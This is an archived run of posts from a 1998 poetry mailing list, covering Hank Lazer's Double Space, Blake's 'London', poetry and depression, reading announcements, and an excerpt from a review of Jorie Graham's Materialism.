apropos recent threads about the canon, experimentalism, the rennovation of more traditional forms/structures within the context of innovative writing, etc., a question I wondered if it would be feasible to ask -- as a kind of thought experiment -- is whether someone could write linear free verse for the SAME REASONS that the Language poets didn't. this might not seem possible, but something very much like this does happen in the visual arts -- there are artists after all who paint for the same reason that, say, the Conceptualists didn't paint at all. all of which leads me to Hank Lazer's very eccentric book *Double Space*. as the title suggests it's really 2 books -- a collection of somewhat traditional poems opens at the front, an "opposing" collection of enormously intelligent & innovative poems begins at the back & the two books meet in the middle. the subtitle is *Poems 1971-1989* & it might just be that the material collected here merely reflects Lazer's evolving aesthetic, except: 1. there is no real evidence of a transitional or middle period, & 2. more importantly, the question I'm begging is why publish such widely divergent types of poems in the same book? I'd be anxious to hear from someone else about this who knows Lazer's work. is the intention to bridge the 2 modes of writing in some way (as the blurb by Ignatow suggests)? or is the desired effect really radically discontinuous (as Howe reads it)? & is it possible then to write & *frame* traditional -- even conventional -- forms in ways that are radically disruptive -- here again an example from the visual arts -- Picabia's "bad" paintings -- might be analogous -- though this isn't, I don't think, Lazer's intention exactly.

↑ Index

959. Sylvester Pollet
Tagliabue Reading
Tue 24 Feb 1998

John Tagliabue will read from his new book (not yet released) at 101 Neville Hall, Univ. of Maine, Orono ME, Thurs. Feb. 26, 7 p.m. (free).

The book is New and Selected Poems: 1942-1997, National Poetry Foundation, pub. date April. It will be available direct from NPF, or to the trade through University Press of New England.

↑ Index

960. **david bromige**
Blake's "London"
Tue 24 Feb 1998

I agree with Chris that the marriage hearse causes the harlot. I disagre that one cannot read syphilis and gonorrhea at work here. Marriage turns out to be a hearse; husband visits harlot; harlot (by him or a hundred others) conceives; husband carries VD back to the marriage; harlot's child is born victim of VD, which can manifest itself in infants as an eye-condition. I would argue (with Dante, though obviously he wasn't discussing Blake), that one reads at the literal level first. But this level yields in turn to metaphorical, analogical and anagogical readings (flying by seat of old pair of pants here, so I look forward to correction re Dante's advice on how to read). Society is fucked up thanks to mind-forged manacles. Throw off yr shackles, throw off yr chains, drag out yr landlord, beat out his brains. When a man has mnarried a wife/ He finds out whether/ Her knees and elbows are only/ Glued together (Blake). Cursed society that makes a woman so, blame it on patrinomy. Next. db3

↑ Index

961. **david bromige**
oops on Blake's "London"
Tue 24 Feb 1998

Apologies. I should have posted this to the List whence Chris's message came, the "Dawn McCarra Bass" List out of Virginia. David

↑ Index

962. **Christopher W. Alexander**
(Fwd) call for subs
Tue 24 Feb 1998

---

rec'd the following call for submissions
and thought folks might be interested;
I don't know anything abt. the periodical,
its eds. or style – this just showed up
in my box...

Chris

------- Forwarded Message Follows -------
From: [redacted]
Date: Mon, 23 Feb 1998 17:52:27 -0600
To: [redacted]
Subject: poetry, baby

please post, announce, circulate

DOGGEREL rag announces its 3rd annual INSPECTOR J. LEE POETRY CONTEST

100 BUCK GRAND PRIZE
Winners and others will be published in DOGGEREL 6: the magazine with a beaten edge. No restrictions on matter or style.

Send one dollar per poem entrance fee to:

Inspector J. Lee Poetry Contest
Green Swamp Press
1010 Mamie St.
Hattiesburg, MS 39401

DEADLINE JULY 15, 1998

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

963. **pritchpa**
Re: Lazer/experiment/tradition
Tue 24 Feb 1998

Jacques - this is a very intriguing line of thought you've opened up. I've only recently begun to read _Doublespace_ so I can hardly claim any real familiarity with Hank Lazer's work. I would venture to say, though, that his intention in publishing his earlier, traditional work in the same volume as his later, more innovative stuff is partly to trace the outline of a kind of aesthetic autobiography in which the reader is compelled to ask your very question as to whether or not the book is a bridge, or a way of framing discontinuities.

The gap between these two approaches - aptly symbolized by the curious blank page in the center of the book - may be filled in, perhaps, only by a shuttling back and forth between the two sections. The whole book, in other words, not only begs aporia, but expresses a certain level of comfort in dwelling in it. If looked at this way, then a transitional layer of writing may not really be necessary. And what would such a transition look like? That might be interesting. But it very well might not. I see its lack as a refusal to mediate a certain anxiety about how - and where - these two aesthetics connect - or don't.

I also see the binding together of this disparate material as a gesture of generosity to Lazer's own beginnings as a poet, and to those whom he revered, or learned from, in that line, such as Louis Simpson. The project as a whole exhibits a willingness to embrace the disparate in such a way that the anxiety about how they relate recedes, or is subsumed by, that gesture. Or by the absence of a mediating gesture. I'm not sure this is what Lazer intended and I'm far from feeling sure if this holds any water. I've spent more time in the back of the book, among the marvelous legal poems, than in the front - though I did read a lovely poem about a golf swing there.

Patrick Pritchett

From: Jacques Debrot
To: [redacted]
Subject: Re: Lazer/experiment/tradition
Date: Tuesday, February 24, 1998 11:14AM

all of which leads me to Hank Lazer's very eccentric book *Double Space*. as the title suggests it's really 2 books -- a collection of somewhat traditional poems opens at the front, an "opposing" collection of enormously intelligent & innovative poems begins at the back & the two books meet in the middle. the subtitle is *Poems1971-1989* & it might just be that the material collected here merely reflects Lazer's evolving aesthetic, except: 1. there is no real evidence of a transitional or middle period, & 2. more importantly, the question I'm begging is why publish such widely divergent types of poems in the same book? I'd be anxious to hear from someone else about this who knows Lazer's work. is the intention to bridge the 2 modes of writing in some way (as the blurb by Ignatow suggests)? or is the desired effect really radically discontinuous (as Howe reads it)? & is it possible then to write & *frame* traditional -- even conventional -- forms in ways that are radically disruptive -- here again an example from the visual arts -- Picabia's "bad" paintings -- might be analogous -- though this isn't, I don't think, Lazer's intention exactly.

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964. **MAYHEW**
Lazer/experiment/tradition
Tue 24 Feb 1998

I don't know Lazer's book, but I think (in principle) that any form can be used with any intention. The aesthetic "meaning" of a form is not inherent formally, but is ascribed to it at a particular historical juncture. A certain kind of "free verse" became identified with normal "workshop" MFA writing at a particular

time and thus mutated in its aesthetic significance. I'm not sure if this answers the question.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

965. Harold Rhenisch

good-bye

Tue 24 Feb 1998

Life carries on beyond the barricades.

Bye now.

Harold Rhenisch
[redacted]

↑ Index

966. Laura Moriarty

Smith & Pritchett

Tue 24 Feb 1998

New non - response to Luoma's Buber by Rod Smith - and some sublimity by Patrick Pritchett -

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

967. Burt Hatlen

Robert Duncan at the MLA

Tue 24 Feb 1998

I'm thinking of trying to organize a panel on Robert Duncan and/or on George Oppen (two SF poets) for the MLA convention in San Francisco next December. If anyone is interested in participatin g in such an enterprise, please let me know ASAP.

Burton Hatlen

↑ Index

968. **shemurph**
Address Request
Tue 24 Feb 1998

Would someone backchannel me Garrett Caples' e-mail address? Thanks. I've misplaced it.

Sheila Murphy
[redacted]

↑ Index

969. **Joe Amato/Kass Fleisher**
disturbing news...
Tue 24 Feb 1998

---

culled from a friend's forward... thought this might be of interest to many on this list... i understand that jones has been publishing poetry in germany... anybody know anything about this?...

joe

> *Posted at 6:49 a.m. PST Monday, February 23, 1998*
>
> *Husband of novelist kills self in police standoff*
>
> *LEXINGTON, Ky. (AP) -- Just days after her new novel won national acclaim, author Gayl Jones and her husband barricaded themselves in their family home, and he slit his throat as police stormed in.*
>
> *Bob Jones, 51, died late Friday at the University of Kentucky Hospital, the same night police broke into his home after a three-hour standoff to serve a 14-year-old warrant on a Michigan weapons charge.*
>
> *His 48-year-old wife was being held for observation at Eastern State Hospital.*
>
> *The couple, who are black, have both accused authorities of racism -- she in resigning from the University of Michigan faculty in 1983, and he in ranting letters recently to a prosecutor.*
>
> *Newsweek last week featured a glowing full-page review of Gayl Jones' new novel, ``The Healing,'' which the magazine called a ``major literary event.''*

> *Though praised by such literary figures as Maya Angelou and John Updike, and a protege of author Toni Morrison, Ms. Jones had not published a novel in many years.*
>
> *Newsweek said that in 1983, ``when she seemed poised to become a major voice in American fiction, she disappeared, moving to Europe in self-imposed exile.''*
>
> *The couple disappeared shortly after Bob Jones, who then went by the name Bob Higgins, was arrested for brandishing a gun and fighting with participants at a gay-rights rally in Ann Arbor, Mich., Newsweek said.*
>
> *In Kentucky, Fayette County Attorney Margaret Kannensohn said Saturday that she had been receiving ``diatribes'' from Bob Jones for the past several months -- repeated accusations that the University of Kentucky's Markey Cancer Center had kidnapped and murdered his mother-in-law.*
>
> *Gayl Jones' first novel, ``Corregidora,'' published in 1975, was about a blues singer who was consumed by hatred of the 19th-century slave master who fathered her grandmother and mother.*
>
> *Her second book, ``Eva's Man,'' published by Beacon Press, is billed as ``a gripping portrait of a woman tormented by sexual abuse and emotional silence.''*
>
> *``Her work is known for its violence and violent conflicts between men and women,'' said Karen Chandler, an assistant professor of American and African-American literature at the University of Louisville. ``It was very important, because in traditional African-American literature there had been a resistance to writing about violence and sexuality because of the stereotypes.''*

↑ Index

970. **Poetics List**

Chloroform (announcement)

Tue 24 Feb 1998

Chloroform: An Aesthetics of Critical Writing, a journal of poetics (research and document) from the University at Buffalo's Poetics Program, is now available through Small Press Distribution ([redacted]) and is listed at the EPC.

Editorial info:

Chloroform 1997
Nick Lawrence & Alisa Messer, editors
70 Cottage Street
Buffalo, NY 14201
$10
7x10, 300 pages

Contents of the 1997 edition are as follows:

"Accidents Would Happen": an interview with Fiona Templeton
Afterword, for Chloroform, by Fiona Templeton
Corpsed Genres, by Jena Osman
Notes in Response to _YOU: The City_, by Abby C.
Apres <<Vous>>, by Amy Nestor
The Eye that Lost Sight of You, by Lisa Lucenti
An Installation Just South of Your Ear, by Abby C
Creating the Question, by Beth Gerwin
How I Use the Dictionary, interviews conducted by Jena Osman
Read red rd, by William Howe
Performance and/as Theory, by Scott Pound
"These Things Happen, All the Time": an interview with Paul Auster
Paul Celan in Translation, by Benjamin Friedlander
Through But Not Of, by Sheri Weinstein
He Do the Valise in Voices (Knot), by Charles Bernstein
>From _Michael Palmer_, by Nick Lawrence & Benjamin Friedlander
Read My Lips, by Michael Basinski
Broken English, a review by Michael Stancliff
Thoughts on Johanna Drucker, a review essay by Cynthia Kimball
Doomsday, by Carla Billitteri
"How Poignant That Sounds, Even as You Read Back the Transcript":
an interview with Bruce Andrews
"Raiding the Vernacular": a roundtable discussion on Bruce Andrews
Home, Haunt, Page, by Loss Pequeo Glazier
Hypertext as Metaphor, by Martin Spinelli
Scribblings in the Guise of the Ghost, by Ken Sherwood
Garden Lore, by Ted Pearson
A History of Poetics at Buffalo: 1960-1990, a timeline
by Cynthia Kimball & Taylor Brady
"To Step Onto the Aquarian Land": a letter from Jack Clarke
Selected Bibliography of Buffalo Publications: 1960-1996,
compiled by Kristin Prevallet
A Non-Definitive Glossary of Terms

↑ Index

971. **Rachel Levitsky**

Re: Poetry and Depression

Tue 24 Feb 1998

Hello

I've been out of the list immersed in my thesis on Ashbery, whose poetry actually comforts me and makes me happy but I can't resist this.

Being raised by a clinically depressed father who used to tell me I'd grow up to be depressed and for such a long time I was, I consider overcoming depression to be the most important thing I've done with my life and critical to my becoming a poet at the age of 31. That journey, which required me confronting so much sadness and crying nearly everyday (and much talk therapy) for several years, a fact which made many think I should go on anti-depressants. I didn't. I consider the crying to have been such a gift, which actually helped me feel quite alive and one day this past summer I realized the weight had actually lifted.

One of the critical moments was, 14 years ago, reading "A woman is talking to death" by Judy Grahn, a poem in which the poet calls herself to task for her own acts of ommision in loving women who needed her. We can't love everyone in need but how often do we deny our community, not realizing that community can save our lives?

I live, temporarily, in Boulder, presumably a happy blissful place, with so many lonely people and a 'community' that seems vacuous to me and quite unwilling to confront any unpleasantries. I often wonder if despite the fanaticism over physical health, people here don't die just as quickly of heart-ache. I find American Buddhism easily distorts its notion of overcoming suffering as ironing out struggle and difficulty. To speak your mind here means being considered 'negative.' I don't mean to be romantic but how I miss nutty New Yorkers who will have a decent conversation at the drop of a hot dog.

Action and involvement with people, caring about something seems so crucial and just what we aren't supposed to do in our materialist culture. Activism and the friends I have met doing activism, people who by definition have my back--has also saved my life.

tired thoughts,
RAchel levitsky

P.S. Another thing that my depressed father used to say to me is that those of us who are depressed know that it is the most dreaded fact of our lives, that we would never chose it. I agree with him.

Don Byrd wrote:
>
> I don't remember the details, but a few years ago, there was a widely
> report study conducted at Iowa Writer's Workshop and perhaps elsewhere
that
> found extraordinary levels of depression among writers. Does any one re-
member
> this?
>
> Don
> --
> ***
> Don Byrd ([redacted], [redacted])
> Department of English
> State University of New York
> Albany, NY 12222
> [redacted] (work); [redacted] (home); [redacted] (fax)
> The Little Magazine (http://www.albany.edu/~litmag/)
> ***

↑ Index

972. **charssmith**
Re: Palm at the end of the Desert Storm
Tue 24 Feb 1998

In a message dated 98-02-24 04:33:03 EST, you write:

<< other responses to Operation
 Desert Storm? >>

Gary,

Thanks for yr reading of Michael Palmer, & reminding me of those poems. You might want to take a look at Norma Cole's _Mars_ (Listening Chamber). I seem to remember a series written during/around ODS.

Charles Smith

↑ Index

973. **Don Byrd**
Re: GERRIT LANSING Greetings and Reading
Tue 24 Feb 1998

Michael, I will be there...

Don

Michael Franco wrote:

> *Dreamer of the purified fury and fabulous habit.*
>
> *The Word of Mouth reading series will present a special evening at Waterston's books [Newbury at Exeter St, Boston]*
>
> *GERRIT LANSING A 70th Birthday celebration*
>
> *Wed. Feb 25th 1998*
>
> *7pm*
>
> *Free*
>
> *Reading by Gerrit Lansing and readings fromthe field of his work by Joseph Torra, William Corbett, Raffael de Gruttula, Ange Mlinko, Michael Franco, Isabel Pinto Franco, Thorpe Feidt, Elie Yarden, Christopher Sawyer Laucanno, Patricia Pruitt, and other "special guests"*
>
> *Any one on the list wishing to send greetings to Gerrit can do so via Email [[redacted] or on foot @ 34 Jason Street Arlingotn Ma. 02174-6409]*
>
> *Gerrit's most recent edition is available from Talisman*
> *all best*
>
> *Michael Franco/Wom.*

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

974. William Burmeister Prod
Re: The Pillow Book
Tue 24 Feb 1998

On Feb 24, 6:18am, [redacted] wrote:
> Subject: The Pillow Book

> Joe,
>
> I found The Pillow Book to be about erotic obsession but curiously very un-
> (even anti-) erotic. Came away dissatisfied, feeling Greenway never was able
> to focus on whatever it was he was trying to get across.
>

In the short space of your reply to Joe, i realize that it is probably all to easy for me to misinterpret what you mean by focus here, but seems to me that he (Greenway) may well in fact be quite successful in getting his ideas across by avoiding any notion of focus. I am thinking, in this case, of Coolidge's _The Book of During_ and how with the same worn out subject matter, Coolidge is able to look it somewhat anew by looking aslant, askew of it (that is not to say automatically or as stream of consciousness though). There is (I believe) something fiercely erotic about the tangential approach.

Best,

William Burmeister

↑ Index

975. **pritchpa**
Re: Palm at the end of the Desert Storm
Tue 24 Feb 1998

Gary -

thanks for that very thoughtful post on Palmer. I'm reminded of his work in _Sun_ which also engages in some of the themes you talk about.

If you can find it, you might want to look at Lindsay Hill's book _Kill Series_ which was written in direct response to the Gulf War. It was published by Arundel Press in a very limited and expensive edition. Some of the poems I believe may have appeared in issues of Sulfur or Caliban. His extraordinary long poem "Socket" - which I know for sure ran in Caliban a few years back - also deals to some extent with the larger cultural issues raised by the war (Randolph Bourne: "War is the health of the state").

Lindsay may know whether any remaining copies of _Kill Series_ are still available. Backchannel me if you want his number or address.

Patrick Pritchett

From: [redacted]
To: [redacted]

Subject: Palm at the end of the Desert Storm
Date: Monday, February 23, 1998 11:21PM

Anyone familiar with this sequence or other responses to Operation Desert Storm? Palmer: "Yet the after is still the storm"

Gary R.

↑ Index

976. Tom Beckett
Vaudeville without Organs
Tue 24 Feb 1998

Vaudeville without Organs was the legendary performance art group comprised of Jessica Grim, John Byrum and myself.

A few years back the three of us were co-coordinators of the Earwitness reading series in Cleveland. VWO was born during a late night talk fest with Bruce Andrews at John Byrum's house.

Jessica's stage name was LaGrim and she could be a pretty stern presence. John and I both have less stable personalities (at least that's my theory) so we had dual names. John went by Da Mike/Da Spare ("Where Da Mike goes, Da Spare comes"). I was known as Shecky-Sheena (aging jokemeister and Princess of Power).

Originally VWO was conceptualized as the first L= poetry slam team. We were on the cusp of a world tour but dissolved the group when we couldn't agree on matching jackets.

Tom Beckett

↑ Index

977. Tom Beckett
scalapino/acker musicked
Tue 24 Feb 1998

Danny--

The audible processes of Glass and Reich might compare pretty well to Scalapino's work. However, maybe the better analogue with Acker's work is John Zorn's collage style pieces built from recognizable and sometimes not so recognizable samples.

Hope this coming weekend to get at S/A more better.

Best,

Tom B

↑ Index

978. **Aldon Nielsen**
Re: the times of the hero
Tue 24 Feb 1998

---

how odd to realize that we must read the NY TIMES book review at about the same time each week --

getting ready finally to get lower limit back on its feet -- by now I will have completely forgotten which poems in the ms. you gave me may or may not be available, and you (you busy guy) have probably written more --

want to just send me a couple you'd like to see in eternal xerox??

↑ Index

979. **George Hartley**
Re: Stein in pop culture
Tue 24 Feb 1998

Hey Jonathan, I saved this email from the buffalo list without even knowing it was yours! What time on Wed sounds good to you? Valerie would like to come along, too, but might not be available until 5 or 6 or so.

Talk to you soon,
George

↑ Index

980. **George Hartley**
oops!
Tue 24 Feb 1998

---

sorry to all. I think I sent a personal note to Jonathan Mayhew out on this list. I forgot about that feature!

George (Hartley)

↑ Index

981. **Aldon Nielsen**
Re: the times of the hero
Tue 24 Feb 1998

Now I've done it too -- That message was meant for Patrick Pritchett --

apologies to all list recipients --

(and apologies to anybody else who has sent mss. to any of the multiplying addresses for lower limit speech -- I am getting the mail forwarded to me from all those places, and hope to be back in the mails soon)

↑ Index

982. **Aldon Nielsen**
disturbing news
Tue 24 Feb 1998

---

have just gotten to page A13 of the NY Times for 2/24 (news carrier couldn't get through the floods to our door, so I'm catching up this evening) --

There's a report here out of Lexington, Kentucky, that Gayle Jones, whose novel _The Healing_ was just released, was in the hospital following an episode in which her husband filled their cottage with natural gas and threatened to blow them both up. The paper says that the husband killed himself, and that Gayle Jones is being held at least temporarily in a Mental Health hospital because of fears that she might harm herself.

Does anybody have any updates on this?

↑ Index

983. **Karen Kelley**
Re: The Pillow Book
Tue 24 Feb 1998

Burt Kimmelman [redacted] wrote:
>
> i loved the pillow book movie but too felt at a distance from it, yet
> i'm told that reading the book the pillow book is essential if one is
> to get anything real out of the flick.

The Pillow Book of Sei Shonagon is an absolutely gorgeous book--in the way that Greenaway makes a gorgeous (visual) movie (I've not seen "Pillow Book," but one of my favorite movies [be warned: it's harrowing] is "The Cook, The Thief, His Wife & Her Lover"). What I love about Greenaway is the sense that he loves literature for all it has to offer as literature & films for all they have to offer as films. I think he tries to make his visuals as resonant *cinematically* as images are resonant *literarily* in books. In other words: I think he has true sensitivity & respect for books, and is trying to get at their magic through his film work--without being simplistic & simply reproducing the book. Aw, whatever...just check out his movies!

↑ Index

984. **Kenneth Goldsmith**

UbuWeb Concrete, Visual, & Sound Poetry Update

Tue 24 Feb 1998

U B U W E B : VISUAL, CONCRETE, & SOUND POETRY

is please to announce our new URL:

http://www.ubu.com

+ + + +

Franz Mon
b.p. Nichol
Clemente Padin
Decio Pignatari
Antonio Riserio
Aram Saroyan
Kurt Schwitters
Gino Severini
Takahashi Shohachiro
Mary Ellen Solt
Vagn Steen
Salette Tavares
Arrigo Lora Totino
Ivo Vroom
Emmett Williams
Pedro Xisto
Louis Zukofsky

C O N T E M P O R A R Y

Bruce Andrews
Connie Beckley
Susan Bee
Laurel Beckman
Felix Bernstein
Charles Bernstein
Jake Berry
John Cayley
Cheryl Donegan
Johanna Drucker
Elson Froes
Loss PequeNo Glazier
Kenneth Goldsmith
Kenneth Goldsmith & Joan La Barbara
Neil Hennessy
Dick Higgins
Peter Jaeger
Alison Knowles
Bill Luoma
Juliet Ann Martin
Poem by Nari
Janan Platt
John Reeves

Dirk Rowntree
Blair Seagram
Spencer Selby
Linda Smukler
Alan Sondheim
Ward Tietz
Nico Vassilakis
Ron Wakkary
Darren Wershler-Henry
Doc Wright
Jody Zellen
Komninos Zervos
Janet Zweig

REAL AUDIO SOUND POETRY

Guillaume Apollinaire
Jaap Blonk
William S. Burroughs
John Cage
Henri Chopin
Jean Cocteau
Andrew Dickinson
Kelli Dipple
Marcel Duchamp
Brion Gysin
Wyndham Lewis
Jackson Mac Low
Charles Manson
F.T. Marinetti
David Moss
John Reeves
John Reeves & John Bone
Kurt Schwitters
Cecil Taylor
Gregory Whitehead

PAPERS

Laurel Beckman
Sergio Bessa
Roland Greene
Roland Greene & Harvard Students
Peter Jaeger

Clemente Padin
Charles A. Perrone
Ward Tietz

F O U N D / I N S A N E

The Orion Series
The Free Jack Ads Series
Assorted Found/Insane Poems

+ +

U B U W E B : VISUAL, CONCRETE, & SOUND POETRY

is please to announce our new URL:

http://www.ubu.com

+ +

↑ Index

985. **Karen and Trevor**
Erica Hunt
Tue 24 Feb 1998

I'm looking for interviews/articles about Erica Hunt, and specifically centering around _Local History_ (reviews?).

I hear that Village Voice Lit Supp had a review in 93 or 94 of _Local History_ along with CD Wright's _Just Whistle_, but the VV online doesn't seem to have a search option.

Enlightenments much appreciated...

Karen McKevitt

↑ Index

986. **dbkk**
Retallack, Swensen, Retallack at SPT
Wed 25 Feb 1998

Small Press Traffic presents a double whammy weekend:

Friday, February 27, 7:30 p.m.

A reading by

Joan Retallack
Cole Swensen

Joan Retallack is the author of five books of poetry. _How to Do Things with Words_ is forthcoming from Sun & Moon. _Afterrimages_ was published in 1995 by Wesleyan University Press. Her _Musicage/John Cage in Conversation with Joan Retallack_ (Wesleyan, 1996) was chosen for the 1996 America Award in Belles-Lettres. In 1994, her book _Errata 5uite_ was the recipient of a Columbia Book Award selected by Robert Creeley. Retallack is on the faculty at the University of Maryland and is an associate of the Institute for Writing and Thinking at Bard College. She is currently completing a book of interrelated essays entitled _The Poethical Wager_.

Author of several books of poetry, including _Noon, Given, New Math_ and _Numen_, Cole Swensen is also a translator, most recently of _Natural Gaits_ by Pierre Alferi and _L'Art Poetic_ by Olivier Cadiot. Formerly of Marin County, she now lives and works in Colorado where she teaches at the University of Denver. Swensen¹s immersion into French theory, Wittgensteinian paradox, grand opera, and contemporary visual art have deepened her own writing and poetry, which now brims with richness like a pitcher of creme brulée.

New College Theater
777 Valencia Street
$5

Saturday, February 28, 7:30 p.m.

More Blue Notes from the Know Ledge / or / The Poethics of the Improbable

A talk by Joan Retallack

³Silence itself is nothing more or less than what lies outside the radius of interest and comprehension at any given time. We hear, that is, with culturally attuned ears. This century¹s _formal_ investigations into experiences of silence have meant opening up previously inaccessible or unacknowledged or forbidden territory, where the very act of attending entails a radical figure/ground shift.² (from Retallack, ³:Re:Thinking:Literary:Feminism:²)

New College Theater
777 Valencia Street
$5

↑ Index

987. **Steve Tills**
Re: Poetry and Depression
Wed 25 Feb 1998

Rachel,

I once heard it this way: Buddhism goes up, focusing on the spirit. Depth Psychology goes down (into the body, I think), focusing on the soul. Both are cool, I guess, and could complement each other, I guess, but they don't substitute for each other. Make sense to you, too? Steve Tills

Rachel Levitsky wrote:

> *Hello*
>
> *I've been out of the list immersed in my thesis on Ashbery, whose poetry actually comforts me and makes me happy but I can't resist this.*
>
> *Being raised by a clinically depressed father who used to tell me I'd grow up to be depressed and for such a long time I was, I consider overcoming depression to be the most important thing I've done with my life and critical to my becoming a poet at the age of 31. That journey, which required me confronting so much sadness and crying nearly everyday (and much talk therapy) for several years, a fact which made many think I should go on anti-depressants. I didn't. I consider the crying to have been such a gift, which actually helped me feel quite alive and one day this past summer I realized the weight had actually lifted.*
>
> *One of the critical moments was, 14 years ago, reading "A woman is talking to death" by Judy Grahn, a poem in which the poet calls herself to task for her own acts of ommision in loving women who needed her. We can't love everyone in need but how often do we deny our community, not realizing that community can save our lives?*
>
> *I live, temporarily, in Boulder, presumably a happy blissful place, with so many lonely people and a 'community' that seems vacuous to me and quite unwilling to confront any unpleasantries. I often wonder if despite the fanaticism over physical health, people here don't die just as quickly of heart-ache. I find American Buddhism easily distorts its notion of overcoming suffering as ironing out struggle and difficulty. To speak your mind here means being considered 'negative.' I don't mean to be romantic but how I miss nutty New Yorkers who will have a decent conversation at the drop of a hot dog.*
>
> *Action and involvement with people, caring about something seems so crucial and just what we aren't supposed to do in our materialist culture. Activism and the friends I have met doing activism, people who by definition have my back--has also saved my life.*
>
> *tired thoughts,*
> *RAchel levitsky*
>
> *P.S. Another thing that my depressed father used to say to me is that those of us who are depressed know that it is the most dreaded fact of our lives, that we would never chose it. I agree with him.*

> *Don Byrd wrote:*
>
> *I don't remember the details, but a few years ago, there was a widely report study conducted at Iowa Writer's Workshop and perhaps elsewhere that found extraordinary levels of depression among writers. Does any one remember this?*
>
> *Don*
> --
> **********
> *Don Byrd (*[redacted]*,* [redacted]*)*
> *Department of English*
> *State University of New York*
> *Albany, NY 12222*
> [redacted] *(work);* [redacted] *(home);* [redacted] *(fax)*
> *The Little Magazine (http://www.albany.edu/~litmag/)*
> **********

↑ Index

988. **Susan Schultz**

Re: Poetry and Depression

Wed 25 Feb 1998

To add a bit to this tangled thread: I recommend Andrew Solomon's article, "Anatomy of Melancholy," in the Jan. 12 _New Yorker_ (before they stopped doing anything except Clinton and sex). I've read a lot of these depression/bipolar memoirs, having suffered repeatedly from the black dog myself in younger days (before the dinosaur elavil and I became buddies), and this is, to my mind, one of the best (and shortest) in the genre. The essay is informative both on the emotional and medical levels, as well as (dare I say it) being at times witty--

Susan

_____

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

↑ Index

989. **Tom Beckett**
pillow book
Wed 25 Feb 1998

_ Alan Davies' book SEI SHONAGON (hole books, 1995) is worth remembering in the context of this discussion. I don't know if it is still available. SS is 185 three-line stanzas of haiku-like meditations. Thoughtful, gorgeous, haunting. A couple of sample, out-of-sequence, stanzas:

We wear on the outside
what we can't countenance within
until it wears us out
***
So often nothing happens
and then when something does
noone notices
***
If a gust of wind disturbs a flower
and a flower a gust of wind
and then how not one lover another
***
Exchanging body parts in verse
or in those letters out of time
to keep what is yours mine

Tom Beckett

↑ Index

990. **Annie Finch**
Graham review
Wed 25 Feb 1998

I wouldn't get too bent out of shape due to my comments, Aviva-I am hardly representative of the "poetry listserv circuit," nor of any "Langpo Disciples"(!), as will be abundantly clear from the review excerpted below; I imagine my perspective on Graham is likely to be very different from theirs. A couple of people have asked how they could see the review, "Unnecessary Burdens," and I'll post it on my website by next week for any who are interested. In the meantime, since I regret descending into a too-hasty synopsis of my ideas from the review, here is the gist of the comments on Materialism therein:

Annie

Aviva wrote:

By the way...Jorie's well loved on the poetry listserv circuit...as you can see by this comment from Annie Finch, the formalist pole of the Poets of Artifice, the Langpo Disciples of Charles Bernstein, Ron Silliman, and all... Annette'll know what I mean...Don't you, Annette?

<fontfamily><param>Palatino</param>Excerpts from "Unnecessary Burdens"(review of L. Gluck, J. Graham, J. Cooper) published in North American Review in 1995:

Here are three new books by ambitious and influential poets who suffer under burdens. It may be a poet's responsibility to suffer no more than is absolutely necessary, but deciding how much suffering is necessary is, alas, probably not up to the poet. The burdens in these books are common ones, important ones in our culture. If they sometimes seem self-imposed, they may be all the more tragic because of that unnecessariness. If the suffering sometimes seems willful, in the tradition of the Romantic poetic ideal or even the belated Romanticism of Confessionalism, these poets may be all the more generous in offering themselves as examples to us all in this post-Romantic age, so that we might all better understand our own willful suffering.

[here follows a review of Louise Gluck's The Wild Iris]

Though the wordy, dramatic musings of Jorie Graham's fifth book, <underline>Materialism,</underline> seem at first far removed in inspiration from Gluck's ascetic lyricism, Graham's work in this book is fueled by a similar self-limiting situation. Graham's chosen burden is not religious but philosophical: these poems are obsessed with the supposedly universal difficulty of perceiving and communicating about reality. . .

[paragraph describing book in general]

The irony of [Graham's] book is that the poems, despite their angst over the impossibility of communication, contain many fine moments of effective narrative and lyric writing that do just what they fret about being unable to do. In a typical sequence in "Young Maples in Wind," the speaker goes into a long digression addressed to the reader, asking "do you taste/salt now if/I say to you the air is <italic>salt</italic>," and proposing that "we,/together,/make a listening here . . .," before proceeding to a magnificent closing lyrical address to the maple leaves: "and you, green face-mournful, tormented, self-swallowing, graven,/navel-and-theory face, what is it you turn towards, green history-face,/ what is your migration from?" Some might argue that, in workshop jargon, Graham "earns" her lyric ending through the self-conscious doubt and questioning about her rights and power as a writer that precedes it; it is, on the other hand, equally possible that the philosophy dilutes and distracts from the passages of concise and powerful poetry that this book contains.

Graham's lack of faith in language's ability to communicate jibes strangely with her overall style, an extended and ambitious version of the unstructured free verse of the 1980s "workshop" lyric. Graham's aims are, of course, much more ambitious than those of the typical lyric. She grapples not only with fundamental metaphysical questions, but with political and historical themes such as the Holocaust, abortion, and political persecution. The fragmentary, meandering, apparently transparent style allows her to approach and back away from these themes, to question and doubt her ability to write about them, and occasionally to pounce directly on them in moments of wonderful writing. But there is something paradoxical about the use of the workshop style-with its idiomatic diction and syntax, its lack of conspicuous rhythm or rhetoric, and its attendant illusion of "naturalness"-as a vehicle for meditations on the artificiality and difficulty of writing. We seem to be being asked to believe that the speaker's idiom itself is pure and untainted language, that somehow it is an honest, ingenuous, and direct representation of her thinking.

Of course it is not. It is not that Graham's meditations are not generous and valuable, for they are; it is impossible not to admire the speaker's openness to emotional experience and the untiring vigilance of her thoughts. But the apparent belief in some fundamental level of uncrafted language lends the poetry an insistent flatness of effect that might benefit (and does, in occasional narrative poems) from the distance provided by an authorial mask or persona. As it is, Graham's most interesting poems sometimes form Robert Browningesque dramatic monologues in spite of themselves, as the speaker's own theoretically hidden personality peeks out from behind the language's not-so-transparent-after-all surface. A poem called "Notes on the Reality of the Self" that includes phrases about acting from Constantin Stanlislavsky uses this fact to excellent effect; it is a charming poem that shows Graham's too-seldom-tapped gift for comedy.

